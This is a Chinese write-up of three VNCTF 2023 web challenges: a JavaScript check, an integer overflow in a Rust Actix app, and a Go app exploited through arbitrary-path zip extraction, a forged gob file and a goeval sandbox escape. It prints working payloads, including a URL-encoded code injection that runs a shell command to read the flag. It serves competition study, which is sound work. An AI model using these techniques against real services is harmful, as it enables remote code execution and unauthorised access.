[VNCTF 2023] web刷题记录

2023-11-30 13:44
文章标签 2023 记录 web 刷题 vnctf

本文主要是介绍[VNCTF 2023] web刷题记录,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

    • 象棋王子
    • 电子木鱼
    • BabyGo


象棋王子

考点:前端js代码审计

直接查看js源码,搜一下alert
在这里插入图片描述丢到控制台即可
在这里插入图片描述

电子木鱼

考点:整数溢出

main.rs我们分段分析

首先这段代码是一个基于Rust的web应用程序中的路由处理函数。它使用了Rust的异步框架Actix和模板引擎Tera。
然后就是定义了不同结构体并且自动生成了序列化

#[derive(Serialize)]
struct APIResult {success: bool,message: &'static str,
}#[derive(Deserialize)]
struct Info {name: String,quantity: i32,
}#[derive(Debug, Copy, Clone, Serialize)]
struct Payload {name: &'static str,cost: i32,
}

给了payload列表

const PAYLOADS: &[Payload] = &[Payload {name: "Cost",cost: 10,},Payload {name: "Loan",cost: -1_000,},Payload {name: "CCCCCost",cost: 500,},Payload {name: "Donate",cost: 1,},Payload {name: "Sleep",cost: 0,},
];

然后看向/路由

#[get("/")]
async fn index(tera: web::Data<Tera>) -> Result<HttpResponse, Error> {let mut context = Context::new();context.insert("gongde", &GONGDE.get());if GONGDE.get() > 1_000_000_000 {context.insert("flag",&std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()),);}match tera.render("index.html", &context) {Ok(body) => Ok(HttpResponse::Ok().body(body)),Err(err) => Err(error::ErrorInternalServerError(err)),}
}

在函数内部,首先创建了一个Context对象。然后通过context.insert("gongde",&GONGDE.get())将名为"gongde"的变量插入到上下文中,其值使用了一个全局变量GONGDE的get()方法来获取。接下来,通过判断GONGDE.get()的值是否大于1,000,000,000,如果是则返回flag

最后分析/upgrade路由

#[post("/upgrade")]
async fn upgrade(body: web::Form<Info>) -> Json<APIResult> {if GONGDE.get() < 0 {return web::Json(APIResult {success: false,message: "功德都搞成负数了,佛祖对你很失望",});}if body.quantity <= 0 {return web::Json(APIResult {success: false,message: "佛祖面前都敢作弊,真不怕遭报应啊",});}if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {let mut cost = payload.cost;if payload.name == "Donate" || payload.name == "Cost" {cost *= body.quantity;}if GONGDE.get() < cost as i32 {return web::Json(APIResult {success: false,message: "功德不足",});}if cost != 0 {GONGDE.set(GONGDE.get() - cost as i32);}if payload.name == "Cost" {return web::Json(APIResult {success: true,message: "小扣一手功德",});} else if payload.name == "CCCCCost" {return web::Json(APIResult {success: true,message: "功德都快扣没了,怎么睡得着的",});} else if payload.name == "Loan" {return web::Json(APIResult {success: true,message: "我向佛祖许愿,佛祖借我功德,快说谢谢佛祖",});} else if payload.name == "Donate" {return web::Json(APIResult {success: true,message: "好人有好报",});} else if payload.name == "Sleep" {return web::Json(APIResult {success: true,message: "这是什么?床,睡一下",});}}web::Json(APIResult {success: false,message: "禁止开摆",})
}

POST接收info结构体的参数进行解析,然后返回json格式的APIResult类型的值;然后判断GONGDE.get() 的值是否小于0,POST请求参数quantity值是否小于等于0,如果name的值等于Donate或者Cost,进行自乘;如果大于i32则会造成整数溢出

i32 是 Rust 编程语言中的一种整数类型。它代表有符号的 32 位整数,可以存储的整数范围为 -2,147,483,648 到 2,147,483,647。

name=Loan&quantity=11451411

在这里插入图片描述发现成功加了1000功德
然后修改name为Cost

在这里插入图片描述得到flag

在这里插入图片描述

BabyGo

考点:文件覆盖、go沙箱逃逸

源码如下

package mainimport ("encoding/gob""fmt""github.com/PaulXu-cn/goeval""github.com/duke-git/lancet/cryptor""github.com/duke-git/lancet/fileutil""github.com/duke-git/lancet/random""github.com/gin-contrib/sessions""github.com/gin-contrib/sessions/cookie""github.com/gin-gonic/gin""net/http""os""path/filepath""strings"
)type User struct {Name  stringPath  stringPower string
}func main() {r := gin.Default()store := cookie.NewStore(random.RandBytes(16))r.Use(sessions.Sessions("session", store))r.LoadHTMLGlob("template/*")r.GET("/", func(c *gin.Context) {userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"session := sessions.Default(c)session.Set("shallow", userDir)session.Save()fileutil.CreateDir(userDir)gobFile, _ := os.Create(userDir + "user.gob")user := User{Name: "ctfer", Path: userDir, Power: "low"}encoder := gob.NewEncoder(gobFile)encoder.Encode(user)if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})return}c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})})r.GET("/upload", func(c *gin.Context) {c.HTML(200, "upload.html", gin.H{"message": "upload me!"})})r.POST("/upload", func(c *gin.Context) {session := sessions.Default(c)if session.Get("shallow") == nil {c.Redirect(http.StatusFound, "/")}userUploadDir := session.Get("shallow").(string) + "uploads/"fileutil.CreateDir(userUploadDir)file, err := c.FormFile("file")if err != nil {c.HTML(500, "upload.html", gin.H{"message": "no file upload"})return}ext := file.Filename[strings.LastIndex(file.Filename, "."):]if ext == ".gob" || ext == ".go" {c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})return}filename := userUploadDir + file.Filenameif fileutil.IsExist(filename) {fileutil.RemoveFile(filename)}err = c.SaveUploadedFile(file, filename)if err != nil {c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})return}c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})})r.GET("/unzip", func(c *gin.Context) {session := sessions.Default(c)if session.Get("shallow") == nil {c.Redirect(http.StatusFound, "/")}userUploadDir := session.Get("shallow").(string) + "uploads/"files, _ := fileutil.ListFileNames(userUploadDir)destPath := filepath.Clean(userUploadDir + c.Query("path"))for _, file := range files {if fileutil.MiMeType(userUploadDir+file) == "application/zip" {err := fileutil.UnZip(userUploadDir+file, destPath)if err != nil {c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})return}fileutil.RemoveFile(userUploadDir + file)}}c.HTML(200, "zip.html", gin.H{"message": "success unzip"})})r.GET("/backdoor", func(c *gin.Context) {session := sessions.Default(c)if session.Get("shallow") == nil {c.Redirect(http.StatusFound, "/")}userDir := session.Get("shallow").(string)if fileutil.IsExist(userDir + "user.gob") {file, _ := os.Open(userDir + "user.gob")decoder := gob.NewDecoder(file)var ctfer Userdecoder.Decode(&ctfer)if ctfer.Power == "admin" {eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))if err != nil {fmt.Println(err)}c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})return} else {c.HTML(200, "backdoor.html", gin.H{"message": "low power"})return}} else {c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})return}})r.Run(":80")
}

分析一下

  1. /路由下定义了userDir为/tmp/xxx/,然后将该值赋值给session的键名shallow,接着创建目录读取user.gob并且创建user对象,具有三个属性。最后创建了一个新的Gob编码器encoder,并使用encoder.Encode方法将user对象编码并写入gobFile文件。通过调用Encode方法,user对象的值将被序列化并写入文件中
  2. /upload路由就是简单的文件上传功能,限制了上传文件类型不能为go和gob
  3. /unzip路由定义userUploadDir为session的shallow值拼接上uploads/,然后destPath由userUploadDir拼接上GET请求中可控参数名path。也就是说我们可以任意路径文件解压
  4. /backdoor路由读取user.gob文件内容,判断是否为admin,如果是则返回good

整体思路:我们利用任意路径文件解压和文件覆盖来实现覆盖user.gob,使得身份为admin;然后利用/backdoor的eval实现命令执行

我们已经知道user.gob的生成方式
在这里插入图片描述
那么我们创建user.go,内容如下

package mainimport ("encoding/gob""os"
)type User struct {Name  stringPath  stringPower string
}func main() {gobFile, _ := os.Create("user.gob")user := User{Name: "ctfer", Path: "/tmp/4f0436fe5585d82af7c4545984d58188/", Power: "admin"}encoder := gob.NewEncoder(gobFile)encoder.Encode(user)
}

go run一下,得到user.gob
然后丢到linux里压缩成zip
在这里插入图片描述
上传文件后,访问/unzip去解压到对应路径
在这里插入图片描述
然后我们访问一下/backdoor,成功覆盖
在这里插入图片描述
接下来就是如何命令执行 参考文章
这里考点是go语言沙箱逃逸
payload

/backdoor?pkg=os/exec"%0A"fmt")%0Afunc%09init()%7B%0Acmd:=exec.Command("/bin/sh","-c","cat${IFS}/f*")%0Ares,err:=cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(res)%0A}%0Aconst(%0AMessage="fmt

在这里插入图片描述
python脚本解一下得到flag

str = [102,108,97,103,123,102,54,52,99,98,52,56,53,45,101,98,57,53,45,52,52,50,99,45,57,99,49,54,45,55,100,102,98,48,52,97,100,102,57,57,101,125,10]for i in range(42):print(chr(str[i]),end="")

这篇关于[VNCTF 2023] web刷题记录的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/437244

相关文章

Web服务器-Nginx-高并发问题

《Web服务器-Nginx-高并发问题》Nginx通过事件驱动、I/O多路复用和异步非阻塞技术高效处理高并发,结合动静分离和限流策略,提升性能与稳定性... 目录前言一、架构1. 原生多进程架构2. 事件驱动模型3. IO多路复用4. 异步非阻塞 I/O5. Nginx高并发配置实战二、动静分离1. 职责2

SpringBoot通过main方法启动web项目实践

《SpringBoot通过main方法启动web项目实践》SpringBoot通过SpringApplication.run()启动Web项目,自动推断应用类型,加载初始化器与监听器,配置Spring... 目录1. 启动入口:SpringApplication.run()2. SpringApplicat

基于Spring Boot 的小区人脸识别与出入记录管理系统功能

《基于SpringBoot的小区人脸识别与出入记录管理系统功能》文章介绍基于SpringBoot框架与百度AI人脸识别API的小区出入管理系统,实现自动识别、记录及查询功能,涵盖技术选型、数据模型... 目录系统功能概述技术栈选择核心依赖配置数据模型设计出入记录实体类出入记录查询表单出入记录 VO 类(用于

java中pdf模版填充表单踩坑实战记录(itextPdf、openPdf、pdfbox)

《java中pdf模版填充表单踩坑实战记录(itextPdf、openPdf、pdfbox)》:本文主要介绍java中pdf模版填充表单踩坑的相关资料,OpenPDF、iText、PDFBox是三... 目录准备Pdf模版方法1:itextpdf7填充表单(1)加入依赖(2)代码(3)遇到的问题方法2:pd

Python Web框架Flask、Streamlit、FastAPI示例详解

《PythonWeb框架Flask、Streamlit、FastAPI示例详解》本文对比分析了Flask、Streamlit和FastAPI三大PythonWeb框架:Flask轻量灵活适合传统应用... 目录概述Flask详解Flask简介安装和基础配置核心概念路由和视图模板系统数据库集成实际示例Stre

Zabbix在MySQL性能监控方面的运用及最佳实践记录

《Zabbix在MySQL性能监控方面的运用及最佳实践记录》Zabbix通过自定义脚本和内置模板监控MySQL核心指标(连接、查询、资源、复制),支持自动发现多实例及告警通知,结合可视化仪表盘,可有效... 目录一、核心监控指标及配置1. 关键监控指标示例2. 配置方法二、自动发现与多实例管理1. 实践步骤

在Spring Boot中集成RabbitMQ的实战记录

《在SpringBoot中集成RabbitMQ的实战记录》本文介绍SpringBoot集成RabbitMQ的步骤,涵盖配置连接、消息发送与接收,并对比两种定义Exchange与队列的方式:手动声明(... 目录前言准备工作1. 安装 RabbitMQ2. 消息发送者(Producer)配置1. 创建 Spr

如何使用Maven创建web目录结构

《如何使用Maven创建web目录结构》:本文主要介绍如何使用Maven创建web目录结构的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录创建web工程第一步第二步第三步第四步第五步第六步第七步总结创建web工程第一步js通过Maven骨架创pytho

Java Web实现类似Excel表格锁定功能实战教程

《JavaWeb实现类似Excel表格锁定功能实战教程》本文将详细介绍通过创建特定div元素并利用CSS布局和JavaScript事件监听来实现类似Excel的锁定行和列效果的方法,感兴趣的朋友跟随... 目录1. 模拟Excel表格锁定功能2. 创建3个div元素实现表格锁定2.1 div元素布局设计2.

如何使用Haporxy搭建Web群集

《如何使用Haporxy搭建Web群集》Haproxy是目前比较流行的一种群集调度工具,同类群集调度工具有很多如LVS和Nginx,本案例介绍使用Haproxy及Nginx搭建一套Web群集,感兴趣的... 目录一、案例分析1.案例概述2.案例前置知识点2.1 HTTP请求2.2 负载均衡常用调度算法 2.